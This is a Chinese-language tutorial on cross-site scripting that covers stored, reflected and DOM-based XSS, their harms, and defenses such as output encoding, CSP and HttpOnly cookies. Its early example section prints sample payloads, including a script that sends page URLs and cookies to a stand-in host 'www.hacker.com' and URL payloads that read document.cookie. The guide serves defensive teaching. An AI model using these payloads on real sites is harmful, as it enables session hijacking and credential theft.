目录
5.5 Cookie防护:设置 HttpOnly 和 Secure Cookie 标志
1、简介
概念:XSS (Cross Site Scripting),攻击者将恶意的客户端脚本(通常是 JavaScript)注入到其他用户会访问的网页中。当受害者的浏览器加载并执行了这些恶意脚本时,攻击就成功了。
“跨站”一词源于攻击者注入的脚本来源于一个“站点”(攻击者控制的服务器或位置),但在另一个“站点”(受害者信任的目标网站)的上下文中执行。受害者是在访问自己信任的网站时“中招”的。
基本实现方式:
植入HTML代码攻击:
- 通过img标签的src发送数据
- 通过img的onerror触发脚本代码
- 通过a标签被动触发脚本代码 href/onclick
- 通过iframe引入第三方页面
- 直接构造文字链接或图片链接
植入JS代码攻击:
- 通过img标签的src发送数据
- 构造表单诱导用户输入账密
- 构造隐藏的form表单自动提交
- 页面强制跳转
- 植入文字链接、图片链接
举例:
<!--恶意脚本植入-->
<script>alert('hey!you are attacked');</script>
<!--劫持流量实现恶意跳转-->
<script>window.location.href='http://www.baidu.com'</script>
<!-- 获取cookie信息 -->
<script>alert(document.cookie)</script>
<!-- 通过外部脚本窃取用户信息 -->
<script src="http://www.hacker.com/script/hacker.js">
</script>
<!-- 绕过浏览器同源策略:图片可以加载外部的数据源 -->
(function () {
(new Image()).src = 'http://www.hacker.com/h?c=' +
escape("url=" + document.location.href) +
escape('&cookie=' + document.cookie);
})();
<script src="http://www.hacker.com/script/hacker2.js">
</script>
<img src="a.jpg" onerror="alert('Attack')"/>
2、XSS攻击的核心原理
-
存在注入点: Web 应用程序接收用户的输入(如表单字段、URL 参数、HTTP 头、Cookie 等),并在其生成的 HTML 页面中 未经验证或未正确处理 就将其输出。
-
输入包含恶意脚本: 攻击者提交的输入数据中包含了精心构造的脚本代码(如
<script>malicious code</script>
或其他能触发脚本执行的方式)。 -
恶意脚本被输出到页面: 服务器在生成页面时,将攻击者提交的恶意输入直接嵌入到 HTML 响应中。
-
受害者访问被污染的页面: 当不知情的用户(受害者)访问这个包含恶意脚本的页面时,他们的浏览器会像处理页面中其他合法脚本一样,加载并执行这段恶意脚本。
-
恶意脚本在受害者浏览器中执行: 脚本在受害者浏览器的安全上下文中执行,这个上下文通常与目标网站的域(Origin)关联。这意味着恶意脚本可以:
-
访问该网站在该用户浏览器中的所有 Cookie(包括会话 Cookie,导致会话劫持)。
-
读取或修改该网页的 DOM(文档对象模型)。
-
发起伪造的 HTTP 请求(以受害者的身份,包括发送 CSRF Token)。
-
将用户重定向到钓鱼网站。
-
记录用户的键盘输入(键盘记录器)。
-
在用户机器上执行其他恶意操作(如利用浏览器漏洞下载恶意软件)。
-
甚至利用 WebRTC 等 API 获取用户内部网络信息。
-
3、XSS攻击的主要类型
3.1 存储型XSS
-
特点: 恶意脚本被提交并永久存储在目标服务器的后端数据库中(如论坛帖子、用户评论、用户资料、消息等)。当其他用户访问包含这些存储内容的页面时,恶意脚本就会从服务器加载并在他们的浏览器中执行。
-
传播方式: 攻击者只需提交一次恶意数据。所有访问被污染页面的用户都会受到影响,无需他们点击特定链接。
-
影响范围: 影响所有访问被污染页面的用户,危害更大、更持久。
-
例子: 一个允许用户评论的博客。攻击者提交一条评论,内容为
<script>malicious code</script>
。如果评论系统未过滤或转义用户输入,那么每当其他用户浏览这篇博客文章时,这条评论中的恶意脚本都会在他们的浏览器中执行。
3.2 反射型XSS
-
特点: 恶意脚本作为请求的一部分发送到服务器(通常通过 URL 参数),服务器在响应中直接“反射”回这个脚本,并在受害者浏览器中执行。
-
传播方式: 攻击者需要诱骗受害者点击一个精心构造的恶意链接(例如通过钓鱼邮件、即时消息、论坛帖子等)。这个链接包含了注入的脚本。
-
影响范围: 通常针对单个受害者。受害者必须主动点击恶意链接。
-
例子: 一个搜索页面,将搜索关键词显示在结果页面上。攻击者构造一个 URL:
https://victim-site.com/search?query=<script>stealCookies()</script>
。如果网站直接将query
参数的值输出到页面上而不处理,用户点击此链接后,脚本就会执行。
<!-- 脚本入侵 -->
http://www.XXX.com/reflectxss?reflectxss=<script>alert('lagou')</script>
<!-- 获取cookie -->
http://www.XXX.com/reflectxss?reflectxss=<script>alert(document.cookie)</script>
<!-- 构造DOM -->
http://www.XXX.com/reflectxss?reflectxss=<input type="button" value="登录"/>
3.3 DOM型XSS
-
特点: 漏洞完全存在于客户端。恶意脚本的注入和执行是由页面上现有的 JavaScript 代码在处理用户可控的数据(如 URL 片段
#
后面的部分 -location.hash
、URL 参数 -location.search
、document.referrer
或其他客户端存储)时的不安全操作导致的。恶意数据不会发送到服务器(或者即使发送了,服务器响应也不包含恶意脚本,是客户端 JS 自己把数据写入了危险位置)。 -
传播方式: 类似反射型 XSS,需要诱骗用户点击恶意链接。
-
关键点: 攻击载荷直接在浏览器中通过修改 DOM 环境来执行,不依赖服务器响应是否包含恶意脚本。服务器可能完全不知情。
-
例子: 页面上的 JavaScript 使用
eval(location.hash.substring(1));
来动态执行 URL#
后面的内容。攻击者构造 URL:https://victim-site.com/page#alert('XSS')
。用户访问此 URL 时,eval
会执行alert('XSS')
。
<!-- 构造DOM -->
http://www.XXX.com/domxss.html?domxss=<input type="button" value="登录"/>
http://www.XXX.com/domxss.html?domxss=<input type="button" value="登录" onClick="alert(document.cookie)"/>
<!-- 利用img标签 -->
http://www.XXX.com/domxss.html?domxss=<img src='http://www.hacker.com/attack.jpg' onerror='alert(110)'/>
4、危害分析
-
会话劫持: 窃取用户的会话 Cookie,冒充用户登录账户。
-
账户控制: 重置密码、更改账户信息、进行未授权交易(金融应用)。
-
身份盗窃: 获取用户的敏感个人信息。
-
钓鱼攻击: 在受信任的网站上伪造登录框,窃取凭证。
-
键盘记录: 记录用户在页面上的按键,获取密码、信用卡号等。
-
网站篡改: 修改页面内容,插入广告、恶意链接或诋毁信息。
-
传播蠕虫: 在社交网站上,利用存储型 XSS 自动向用户好友发送包含攻击链接的消息。
-
发起 DDoS 攻击: 控制大量受害者浏览器访问目标网站。
-
挖矿: 在用户浏览器中秘密运行加密货币挖矿脚本(Cryptojacking)。
-
内部网络探测: 利用浏览器访问内部网络资源(结合 WebRTC 等)。
5、预防策略
防御的关键:对用户输入进行严格的处理(验证、过滤)和在安全上下文中正确输出(编码、转义)。
5.1 输入验证
对所有用户输入进行严格的验证。
-
使用白名单机制:只允许已知安全的字符或模式(如特定格式的邮箱、电话号码)。拒绝或过滤掉不符合预期的输入(如
<script>
标签)。 -
在服务器端进行验证(客户端验证易被绕过)。Filter过滤器统一处理(自定义处理规则、使用apache commons text、使用owasp AntiSamy)
5.2 输出编码/转义(最有效)
-
在将用户输入或任何不可信数据输出到 HTML 文档中时,必须根据输出的上下文进行正确的编码(转义)。
-
HTML 上下文: 将特殊字符(
<
,>
,&
,"
,'
)转换为对应的 HTML 实体(<
,>
,&
,"
,'
)。例如,PHP 的htmlspecialchars
函数。 -
HTML 属性上下文: 除了 HTML 实体,还要确保属性值用引号(单或双)括起来。对引号进行转义。
-
JavaScript 上下文: 将不可信数据插入 JavaScript 代码(如
<script>
块或事件处理程序属性onclick
)时极其危险。应使用\uXXXX
Unicode 转义,或确保数据被放在引号内的字符串中,并对引号、换行符等进行转义。避免使用eval()
和innerHTML
直接插入未转义的数据。考虑使用JSON.stringify()
。 -
URL 上下文: 在将用户输入用作 URL 的一部分(如
href
、src
属性)时,使用 URL 编码(百分比编码)。 -
CSS 上下文: 将用户输入放入 CSS(
style
属性或标签)时也很危险。进行严格的验证和编码。
5.3 使用安全的API
-
避免使用危险的 API,如
innerHTML
,outerHTML
,document.write()
。优先使用更安全的替代品,如 .textContent
或 .innerText
来设置纯文本内容。 -
如果必须使用
innerHTML
,在插入前必须对不可信数据进行严格的 HTML 编码。 -
避免使用
eval()
。注意onclick、onerror、onload、onmouseover 、setTimeout()、setInterval()
5.4 实施内容安全策略:CSP
-
内容安全策略 (CSP :Content-Security-Policy )是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。
-
核心思想:网站通过发送一个 CSP 头部,来告诉浏览器什么是被授权执行的与什么是需要被禁止的,被誉为专门为解决XSS 攻击而生的神器。
-
通过在 HTTP 响应头中设置
Content-Security-Policy
,告诉浏览器只允许加载和执行来自特定可信来源的脚本、样式、图片等资源。
<meta http-equiv="content-security-policy" content="策略">
<meta http-equiv="content-security-policy-report-only" content="策略">
# 可以在网关的Filter中配置或者在Nginx服务器配置
# 如果 Content-Security-Policy-Report-Only 头部和 Content-SecurityPolicy 同时出现在一个响应中,两个策略均有效。在 Content-SecurityPolicy 头部中指定的策略有强制性 ,而 Content-Security-Policy-ReportOnly 中的策略仅产生报告而不具有强制性。
"Content-Security-Policy:" 策略
"Content-Security-Policy-Report-Only:" 策略
-
开启CSP方法:
<!--设置 HTTP 的头部字段-->
<!--加载css、js-->
response.setHeader("Content-Security-Policy","default-src http: https:");
<!--设置网页的<meta>标签-->
<meta http-equiv="Content-Security-Policy" content="formaction 'self';">
# 限制所有的外部资源,都只能从当前域名加载,不包含子域名
Content-Security-Policy: default-src 'self'
# 限制所有的外部资源,都只能从当前域名及其子域名加载
Content-Security-Policy: default-src 'self' *.test.com
# 多媒体文件仅允许从 media1.com 和 media2.com 加载(不允许从这些站点的子域名)。可运行脚本仅允许来自于scripts.test.com
Content-Security-Policy: default-src 'self'; img-src *;
media-src media1.com media2.com; script-src scripts.test.com
# 服务器仅允许通过HTTPS方式并仅从onlinebanking.abc.com域名来访问文档(线上银行网站)
Content-Security-Policy: default-src https://onlinebanking.abc.com
-
可以禁止内联脚本 (
'unsafe-inline'
) 和eval()
('unsafe-eval'
),从根本上阻止许多 XSS 攻击。 -
可以限制脚本来源 (
script-src
),只允许加载来自特定域的脚本。 -
即使攻击者成功注入了脚本,如果该脚本的来源不在 CSP 允许列表内,浏览器也不会执行它。
- 如果策略里包含一个有效的 report-uri 指令,支持CSP的浏览器将始终对于每个企图违反你所建立的策略都发送违规报告
# 启用违例报告 报告中 blocked-uri字段 中包含了违规资源的完整路径
Content-Security-Policy: default-src 'self'; report-uri http://reportcollector.example.com/collector.cgi
5.5 Cookie防护:设置 HttpOnly 和 Secure Cookie 标志
-
为会话 Cookie 设置
HttpOnly
属性。这样,JavaScript(包括恶意脚本)就无法通过document.cookie
读取该 Cookie,大大增加了攻击者窃取会话 Cookie 的难度。 -
为 Cookie 设置
Secure
属性,确保 Cookie 只在 HTTPS 连接上传输。
resp.setHeader("SET-COOKIE", "JSESSIONID=" + request.getSession().getId()+ "; HttpOnly")
5.6 使用 X-XSS-Protection 头
-
虽然现代浏览器已逐步弃用其内置的 XSS 过滤器(有时甚至会引入新漏洞),但设置
X-XSS-Protection: 0
可以明确禁用旧版 IE 和 Chrome 中可能存在问题的过滤器。CSP 是更现代、更强大的替代方案。
5.7 框架的自动转义
-
许多现代 Web 框架(如 React, Angular, Vue.js, Django, Rails, .NET Core)默认会对在模板中输出的变量进行 HTML 编码,提供了基础防护。但开发者仍需理解其原理,并在需要绕过自动转义时(如需要输出 HTML)格外小心,使用框架提供的安全方法(如 React 的
dangerouslySetInnerHTML
,但需慎用并自行确保内容安全)。
5.8 富文本处理
-
允许用户提交富文本(HTML)是高风险操作。需要使用专门设计的、安全的 HTML 净化库(如 OWASP Java HTML Sanitizer, DOMPurify for JavaScript, Python Bleach),只允许一组非常严格的安全标签和属性通过。不要尝试自己用正则表达式解析 HTML!